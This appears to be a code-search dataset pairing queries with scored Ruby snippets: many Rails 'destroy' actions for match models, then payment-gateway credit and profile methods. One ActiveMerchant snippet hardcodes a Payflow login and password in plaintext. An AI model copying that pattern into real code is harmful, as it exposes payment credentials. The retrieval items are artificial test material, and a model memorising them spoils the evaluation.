[ { "docid": "db7ed466b5229b760e775d9d48d28e3d", "score": "0.7716669", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "2802be9a09af1633319f82c5c41f146a", "score": "0.77791023", "text": "def destroy\n @match1 = Match1.find(params[:id])\n @match1.destroy\n\n respond_to do |format|\n format.html { redirect_to match1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "38b8027aa6a48924788d9a66c43913bd", "score": "0.7751719", "text": "def destroy\n match = Match.find(params[:id])\n match.destroy\n\n render json: { msg: 'deleted' }\n end", "title": "" }, { "docid": "065005e2e19729cf00979424bfc5a744", "score": "0.77453506", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "c99b5c93f6aa91fa206958413b6d4679", "score": "0.77277064", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c99b5c93f6aa91fa206958413b6d4679", "score": "0.77277064", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c99b5c93f6aa91fa206958413b6d4679", "score": "0.77277064", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c99b5c93f6aa91fa206958413b6d4679", "score": "0.77277064", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c99b5c93f6aa91fa206958413b6d4679", "score": "0.77277064", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c99b5c93f6aa91fa206958413b6d4679", "score": "0.77277064", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "31f2458fe8b0c779a92764d95ea36310", "score": "0.76649135", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to round_matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "73c09b6858ec3115522276602a6ff141", "score": "0.7548647", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to matches_url, notice: \"Matchen togs bort\"}\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "c37fbed4516b27a27edd41f5e24b12f7", "score": "0.75416595", "text": "def destroy\n @match = @round.matches.find(params[:id])\n @match.destroy\n respond_to do |format|\n format.html { redirect_to tourney_round_matches_path(@tourney, @round) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e4aa379f588e3621f39fd6d48612640d", "score": "0.7521918", "text": "def destroy\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to(matches_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6ca6f9c523f0d7a6059e31518402c3f9", "score": "0.74919534", "text": "def destroy \n match.destroy\n render(json: { status: 200}, status:200)\n end", "title": "" }, { "docid": "837edf32335bd4daf44f2bc9a91fba8b", "score": "0.7480887", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to(matches_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "837edf32335bd4daf44f2bc9a91fba8b", "score": "0.7480887", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to(matches_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "19e8587fe7d02ea0742e54440c3768ac", "score": "0.74773204", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Spiel erfolgreich gelöscht.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "725764583e411c41359ad73cdbb2883b", "score": "0.74571556", "text": "def destroy\n\t\t@match.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to matches_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "title": "" }, { "docid": "2f8940715e554c9234c7bc6df740e94a", "score": "0.743524", "text": "def destroy\n @match.destroy\n head :no_content\n end", "title": "" }, { "docid": "1601832775a515708f6906b970184a9d", "score": "0.74266315", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4756197ab3a892c98aaa9c944608762b", "score": "0.74096155", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "107832c36a085349320e87794a799109", "score": "0.7407396", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: \"Match was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "107832c36a085349320e87794a799109", "score": "0.7407396", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: \"Match was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "30e30616ec5389a2ffda9d772d1dcf45", "score": "0.7369361", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to match_params[:from]==\"index\" ? matches_url : user_matches_url(current_user) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f20cd228ddefa85430a55e4417201c4c", "score": "0.73531157", "text": "def destroy\n @admin_match.destroy\n respond_to do |format|\n format.html { redirect_to admin_matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "264a8b8f6034bb11472b2d50c1b394e0", "score": "0.731283", "text": "def destroy\n @match.destroy\n if @match.mirror == false\n @match2 = Match.find((params[:id].to_i+1).to_s)\n @match2.destroy\n else\n @match2 = Match.find((params[:id].to_i-1).to_s)\n @match2.destroy\n end\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b59e83a52c7a284836583ca31a86f089", "score": "0.7299414", "text": "def destroy\n @titlematch = Titlematch.find(params[:id])\n @titlematch.destroy\n\n respond_to do |format|\n format.html { redirect_to titlematches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "72e2adb58e0596e0314e5d16ec66b3b7", "score": "0.7281963", "text": "def destroy\n @seas_match = SeasMatch.find(params[:id])\n @seas_match.destroy\n\n respond_to do |format|\n format.html { redirect_to seas_matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f7f4d4246dd78dbfb9c32ecafb2fb41d", "score": "0.726899", "text": "def destroy\n @hurdle_match = HurdleMatch.find(params[:id])\n @hurdle_match.destroy\n\n respond_to do |format|\n format.html { redirect_to hurdle_matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ea4981beb6a7beb2126c035ef834b9b9", "score": "0.7268567", "text": "def destroy\n @collected_match = CollectedMatch.find(params[:id])\n @collected_match.destroy\n\n respond_to do |format|\n format.html { redirect_to collected_matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "20c42c31febc57fea26202fcfcc2c2ae", "score": "0.7251978", "text": "def destroy\n @round.matches.each do |match|\n match.destroy\n end\n \n @round.destroy\n respond_to do |format|\n format.html { redirect_to rounds_url, notice: 'Round was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f58b894def188a1c9b80219e033d246", "score": "0.7249204", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: t(:message_destroyed) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "123b9f1a55f3e4a7b8aeaee9faa26ca1", "score": "0.7242549", "text": "def destroy\n @match_result = MatchResult.find(params[:id])\n @match_result.destroy\n\n respond_to do |format|\n format.html { redirect_to match_results_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "61b3fe572b89fc2b12f82b76dbc6c5df", "score": "0.7238139", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "441a33278ba4cf3c4b839df3bce1cda1", "score": "0.7233762", "text": "def destroy\n @final_match = FinalMatch.find(params[:id])\n @final_match.destroy\n\n respond_to do |format|\n format.html { redirect_to final_matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dfd5c66f432ac332869bf934e933461e", "score": "0.72277075", "text": "def destroy\n @bowling_match.destroy\n respond_to do |format|\n format.html { redirect_to bowling_matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c7e10e88f7f9cc358633fbeef794d98", "score": "0.7222473", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to '/' }\n end\n end", "title": "" }, { "docid": "1af07d7a6a9bdfcf2232fe933a7d0185", "score": "0.71793664", "text": "def destroy\n @matchup.destroy\n respond_to do |format|\n format.html { redirect_to matchups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c10ba74659f52f1ed1ba7ca186236bde", "score": "0.71704715", "text": "def destroy\n match_id = params[:id]\n @match = Match.find(match_id)\n if @match.users.pluck(:id).include? @user.id \n @match.destroy \n render json: {},:status => :no_content\n else \n render json: {},:status => :forbidden\n end\n end", "title": "" }, { "docid": "0d893de143de37d4090819021f71e692", "score": "0.7126502", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html {\n flash[:success] = \"Match has been successfully deleted.\"\n redirect_to ladder_matches_path(@ladder)\n }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2b6f9009580d549a023b9e0bc4f59cc1", "score": "0.7117255", "text": "def destroy\n @matchup = Matchup.find(params[:id])\n @matchup.destroy\n\n respond_to do |format|\n format.html { redirect_to matchups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d4fd8393248197ce63f605014adecc88", "score": "0.7116533", "text": "def destroy\n # @matchup = Matchup.find(params[:id])\n # @matchup.destroy\n\n respond_to do |format|\n format.html { redirect_to matchups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "983524793d6c9a619945b4554c8abe11", "score": "0.7112506", "text": "def destroy\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_path(tournament_id: @tournament.id, pool_id: @pool.id), notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "275191401f74a9079424149c9e1a56f0", "score": "0.7112251", "text": "def destroy\n @constructed = Match.find(params[:id])\n @constructed.destroy\n respond_to do |format|\n format.html { redirect_to constructeds_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "260103667b088b146d43426b4a0f4e88", "score": "0.7099827", "text": "def destroy\n @match_type.destroy\n respond_to do |format|\n format.html { redirect_to match_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "873f6274f287ca22e071bf792d4a260f", "score": "0.7089806", "text": "def destroy\n @match_request.destroy\n respond_to do |format|\n format.html { redirect_to match_requests_url, notice: 'Match request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "15ab6bfbb0fe88e1ba203a9101302ef6", "score": "0.7063003", "text": "def destroy\n @wattball_match = WattballMatch.find(params[:id])\n @wattball_match.destroy\n\n respond_to do |format|\n format.html { redirect_to wattball_matches_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ab540bff127dc54a9084f9124fed557c", "score": "0.70538044", "text": "def destroy\n @matchtest.destroy\n respond_to do |format|\n format.html { redirect_to matchtests_url, notice: 'Matchtest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "73a49ea82ed4e00bd60de7f014a4cd09", "score": "0.70316786", "text": "def destroy\n @match = Match.find(params[:id])\n @match.destroy\n\n for game in @match.games\n game.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to matches_url }\n end\n end", "title": "" }, { "docid": "c2badb4b471bdb541e551086cc08803f", "score": "0.701607", "text": "def destroy\n @match.destroy\n end", "title": "" }, { "docid": "daea3a9f563915067a2701d71d12061c", "score": "0.69989246", "text": "def destroy\n @threat_match.destroy\n respond_to do |format|\n format.html { redirect_to threat_matches_url, notice: 'Threat match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cd6eda82ec893416a4a5b65a015cafce", "score": "0.6975799", "text": "def destroy\n @match_result = MatchResult.find(params[:id])\n @match_result.destroy\n\n respond_to do |format|\n format.html { redirect_to(match_results_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a8e9b14752ea77897d38cc61dd5e98c8", "score": "0.69458497", "text": "def destroy\n @animal_match.destroy\n respond_to do |format|\n format.html { redirect_to animal_matches_url, notice: 'Animal match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0f802971799daf39e5167d040832ddac", "score": "0.6941323", "text": "def destroy\n @matchset.destroy\n respond_to do |format|\n format.html { redirect_to matchsets_url, notice: 'Matchset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4407cc4f105bddfcdb7bd7986f5a4408", "score": "0.6937492", "text": "def destroy\n @user_match.destroy\n respond_to do |format|\n format.html { redirect_to user_matches_url, notice: 'User match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4407cc4f105bddfcdb7bd7986f5a4408", "score": "0.6937492", "text": "def destroy\n @user_match.destroy\n respond_to do |format|\n format.html { redirect_to user_matches_url, notice: 'User match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3d0720d3fe37c2e99132d0bde151e936", "score": "0.69364786", "text": "def destroy\n @regex = Regex.find(params[:id])\n @regex.destroy\n\n respond_to do |format|\n format.html { redirect_to regexes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9aeeb84d6b93d2ddaa3329d146c10fe0", "score": "0.6931267", "text": "def destroy\n #@match_photo = MatchPhoto.find(params[:id])\n @match_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to match_photos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c42fbb77372d67c9ad7754e748a1f27c", "score": "0.69305867", "text": "def destroy\n @match_result.destroy\n respond_to do |format|\n format.html { redirect_to match_results_url, notice: \"Match result was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1054ac1cd7b6c0b1b7b4f3cb82d90555", "score": "0.69164306", "text": "def destroy\n @kokuin_match.destroy\n respond_to do |format|\n format.html { redirect_to kokuin_matches_url, notice: 'Kokuin match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1107120c422de56061a34470e790ef56", "score": "0.69051474", "text": "def destroy\n @matchplayer = Matchplayer.find(params[:id])\n @matchplayer.destroy\n\n respond_to do |format|\n format.html { redirect_to matchplayers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8624fb3dee3540e338467fdd4f2bbe37", "score": "0.6902865", "text": "def destroy\n @details_match.destroy\n respond_to do |format|\n format.html { redirect_to details_matches_url, notice: 'Details match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "db4aa41817d326e3e0744262aa74d12d", "score": "0.6895985", "text": "def destroy\n @player_score_match.destroy\n respond_to do |format|\n format.html { redirect_to player_score_matches_url, notice: 'Player score match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d6582ad74167ebdc41231dcfa93cea8d", "score": "0.68845725", "text": "def destroy\n @club_match.destroy\n respond_to do |format|\n format.html { redirect_to club_matches_url, notice: 'Club match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e9c1e36a68591b350801cabcec03fd19", "score": "0.68820834", "text": "def destroy\n @match_datum = MatchDatum.find(params[:id])\n @match_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to match_data_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "37b082f79a86b0367d118cfd4ac03b91", "score": "0.68667245", "text": "def destroy\n @tournament = Tournament.find(params[:tournament_id])\n @round = @tournament.rounds.find(params[:round_id])\n @duel = @round.duels.find(params[:duel_id])\n @match = @duel.matches.find(params[:id])\n\n authorize! :manage, @match\n\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to tournament_round_path(@tournament, @round) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a1e8f68fcd963a44d4ce2b4fee4bb931", "score": "0.6865865", "text": "def destroy\n match_state = MatchState.find(params[:id])\n match_state.destroy\n head 204\n end", "title": "" }, { "docid": "f95f2c254dbe2c26d8925b208cb2b4c0", "score": "0.68654937", "text": "def destroy\n if current_user&.admin\n @match.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'Match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "f5d255e91b9c49aa0f04809c23ba1b37", "score": "0.68488854", "text": "def destroy\n @match.destroy\n respond_with(@league, @match)\n end", "title": "" }, { "docid": "c9789c1eb7640d50633349fc16dece02", "score": "0.68408144", "text": "def destroy\n @matchup.destroy\n respond_to do |format|\n format.html { redirect_to matchups_url, notice: 'Matchup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c9789c1eb7640d50633349fc16dece02", "score": "0.68408144", "text": "def destroy\n @matchup.destroy\n respond_to do |format|\n format.html { redirect_to matchups_url, notice: 'Matchup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "be8e3ffdbbf1ced18965705674a2f0db", "score": "0.6822691", "text": "def destroy\n @matcher.destroy\n respond_to do |format|\n format.html { redirect_to matchers_url, notice: 'Matcher was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a350f6db93a2f0af36136b3b5a338a1a", "score": "0.6812083", "text": "def destroy\n @season = Season.find(params[:season_id])\n @match = @season.matches.find(params[:id])\n #@match = Match.find(params[:id])\n @match.destroy\n\n respond_to do |format|\n format.html { redirect_to season_matches_url(@season) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5a3b01eec23c906999ee5cec397db786", "score": "0.67991596", "text": "def destroy \n @match.destroy\n redirect_to matches_url, notice: 'Match was successfully destroyed.' \n end", "title": "" }, { "docid": "6fa863c8875107e74f56a8647c67ec15", "score": "0.6786646", "text": "def destroy\n @master_cpa_match.destroy\n respond_to do |format|\n format.html { redirect_to master_cpa_matches_url, notice: 'Master cpa match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f5c0b1631b85f6fbcb0592268479038", "score": "0.6689588", "text": "def destroy\n @match_participant.destroy\n respond_to do |format|\n format.html { redirect_to match_participants_url, notice: 'Match participant was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d04504bf050c5977d7d4cfcc355dc459", "score": "0.66873276", "text": "def destroy\n @match_lineitem.destroy\n respond_to do |format|\n format.html { redirect_to match_lineitems_url, notice: 'Match lineitem was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "07652f1375581e9ac60cab087c49971f", "score": "0.6677679", "text": "def destroy\n Match.find(params[:id]).destroy #When destroyed, the inverse match is also automatically destroyed.\n flash[:message]=\"Match deleted!\"\n redirect_to user_path(User.find(session[:user_id]))\n end", "title": "" }, { "docid": "9a0c52d1fbe0c863ae398f05191af67d", "score": "0.66760474", "text": "def destroy\n @match_person.destroy\n respond_to do |format|\n format.html { redirect_to match_people_url, notice: 'Match person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "79256159a896b6c53c0e3e863326c380", "score": "0.6661457", "text": "def destroy\n @match_option.destroy\n respond_to do |format|\n format.html { redirect_to match_options_url, notice: 'Match option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
d68fd16e20e02a8a6053d02147fabc7d
This method will need to accept more arguements when/if payment profiles supported money, credit_card, response_code, options
[ { "docid": "9239a87fb4ba763a06e9acb75857e5f8", "score": "0.59952366", "text": "def credit(money, response_code, options)\n currency = options[:currency] || options[:originator].payment.currency\n\n response = provider.refund_payment(response_code, transaction_amount(currency, money))\n\n handle_response(response, response.psp_reference)\n end", "title": "" } ]
[ { "docid": "89be8d00403b7e04d1e3080981d7f02c", "score": "0.680489", "text": "def update_payment_profile(options={})\n return true if ENV['RAILS_ENV'] == 'development' || ENV['RAILS_ENV'] == 'test'\n \n logger.info(\"*** updating an existing payment profile\")\n credit_card = ActiveMerchant::Billing::CreditCard.new(options[:cc_info])\n\n payment_profile = { :bill_to => options[:bill], \n :payment => { :credit_card => credit_card }, \n :customer_payment_profile_id => self.payment_profile_id \n }\n\n @gw.update_customer_payment_profile :payment_profile => payment_profile, \n :customer_profile_id => self.customer_profile_id, \n :customer_payment_profile_id => self.payment_profile_id\n end", "title": "" }, { "docid": "2d4c6a612693ac5993d5bfa2cb707bd1", "score": "0.67752653", "text": "def credit(money, provider_source, response_code, gateway_options = {})\n Spree::PAYONE::Logger.info \"Credit process started\"\n payment_payment_provider_response_not_supported 'credit'\n end", "title": "" }, { "docid": "71911153d11068dd5cc5a1d65db64cd9", "score": "0.6772256", "text": "def payment_stuff\n ActiveMerchant::Billing::Base.mode = :test\n creditcard = ActiveMerchant::Billing::CreditCard.new({\n :first_name => params[:credit_cardholder].to_s.split.first,\n :last_name => (params[:credit_cardholder].to_s.split[1..-1]).to_a.join(' '),\n :number => params[:credit_number].to_s,\n :month => params[:credit_month].to_s,\n :year => params[:credit_year].to_s,\n :verification_value => params[:credit_civ].to_s,\n :type =>params[:credit_type].to_s\n })\n gateway = ActiveMerchant::Billing::PayflowGateway.new(\n :user => 'nomaddesign',\n :login => 'nomaddesign',\n :password => 'webadmin77',\n :partner => 'verisign'\n )\n @response = gateway.authorize(1000, creditcard)\n \n end", "title": "" }, { "docid": "3859cf223173327df45e9afe73025a85", "score": "0.6742106", "text": "def parameters(money, creditcard, options = {})\n params = {\n payment: {\n subtotal: amount(options[:subtotal]),\n tax: amount(options[:tax]),\n vattax: amount(options[:vattax]),\n shipping: amount(options[:shipping]),\n chargetotal: amount(money)\n },\n transactiondetails: {\n transactionorigin: options[:transactionorigin] || 'ECI',\n oid: options[:order_id],\n ponumber: options[:ponumber],\n taxexempt: options[:taxexempt],\n terminaltype: options[:terminaltype],\n ip: options[:ip],\n reference_number: options[:reference_number],\n recurring: options[:recurring] || 'NO', # DO NOT USE if you are using the periodic billing option.\n tdate: options[:tdate]\n },\n orderoptions: {\n ordertype: options[:ordertype],\n result: @options[:result]\n },\n periodic: {\n action: options[:action],\n installments: options[:installments],\n threshold: options[:threshold],\n startdate: options[:startdate],\n periodicity: options[:periodicity],\n comments: options[:comments]\n },\n telecheck: {\n routing: options[:telecheck_routing],\n account: options[:telecheck_account],\n checknumber: options[:telecheck_checknumber],\n bankname: options[:telecheck_bankname],\n dl: options[:telecheck_dl],\n dlstate: options[:telecheck_dlstate],\n void: options[:telecheck_void],\n accounttype: options[:telecheck_accounttype],\n ssn: options[:telecheck_ssn]\n }\n }\n\n if creditcard\n params[:creditcard] = {\n cardnumber: creditcard.number,\n cardexpmonth: creditcard.month,\n cardexpyear: format_creditcard_expiry_year(creditcard.year),\n track: nil\n }\n\n if creditcard.verification_value?\n params[:creditcard][:cvmvalue] = creditcard.verification_value\n params[:creditcard][:cvmindicator] = 'provided'\n else\n params[:creditcard][:cvmindicator] = 'not_provided'\n end\n end\n\n if billing_address = options[:billing_address] || options[:address]\n\n params[:billing] = {}\n params[:billing][:name] = billing_address[:name] || (creditcard ? creditcard.name : nil)\n params[:billing][:address1] = billing_address[:address1] unless billing_address[:address1].blank?\n params[:billing][:address2] = billing_address[:address2] unless billing_address[:address2].blank?\n params[:billing][:city] = billing_address[:city] unless billing_address[:city].blank?\n params[:billing][:state] = billing_address[:state] unless billing_address[:state].blank?\n params[:billing][:zip] = billing_address[:zip] unless billing_address[:zip].blank?\n params[:billing][:country] = billing_address[:country] unless billing_address[:country].blank?\n params[:billing][:company] = billing_address[:company] unless billing_address[:company].blank?\n params[:billing][:phone] = billing_address[:phone] unless billing_address[:phone].blank?\n params[:billing][:email] = options[:email] unless options[:email].blank?\n end\n\n if shipping_address = options[:shipping_address]\n\n params[:shipping] = {}\n params[:shipping][:name] = shipping_address[:name] || (creditcard ? creditcard.name : nil)\n params[:shipping][:address1] = shipping_address[:address1] unless shipping_address[:address1].blank?\n params[:shipping][:address2] = shipping_address[:address2] unless shipping_address[:address2].blank?\n params[:shipping][:city] = shipping_address[:city] unless shipping_address[:city].blank?\n params[:shipping][:state] = shipping_address[:state] unless shipping_address[:state].blank?\n params[:shipping][:zip] = shipping_address[:zip] unless shipping_address[:zip].blank?\n params[:shipping][:country] = shipping_address[:country] unless shipping_address[:country].blank?\n end\n\n params[:items] = options[:line_items] if options[:line_items]\n\n return params\n end", "title": "" }, { "docid": "68516e8ca113ffafd64777ff8dce65eb", "score": "0.6600809", "text": "def create_payment_profile\n return unless source.is_a?(Spree::Creditcard) && source.number && !source.has_payment_profile?\n if (order.user.anonymous? || Spree::ReservebarReuseCreditCard::Config.enabled != true)\n order.user.update_attributes(email: order.email)\n source.update_attributes(address_id: order.bill_address_id)\n end\n # save it for later so we can reload other items\n card_number = source.number\n begin\n # Tokenize the card for the order's retailer\n # save return value\n response = Spree::Creditcard.tokenize_card_for_retailer(source, order.retailer, order.user, card_number)\n unless response.is_a?(Braintree::ErrorResult)\n source.reload\n # Run tokenization for the other retailers in the background\n # only if successful before\n Spree::Creditcard.delay.tokenize_card_on_other_retailers(order.retailer.id, source, order.user.id, card_number, source.verification_value)\n else\n error = response.try(:credit_card_verification).try(:gateway_rejection_reason)\n if error.present?\n if error == 'avs'\n err_msg = ' Please verify billing information is correct.'\n elsif error == 'fraud'\n err_msg = ' WARNING! Fraudulent activity detected for this card. Contact your credit card provider immediately.'\n else\n err_msg = ' Make sure payment details were enterered correctly.'\n 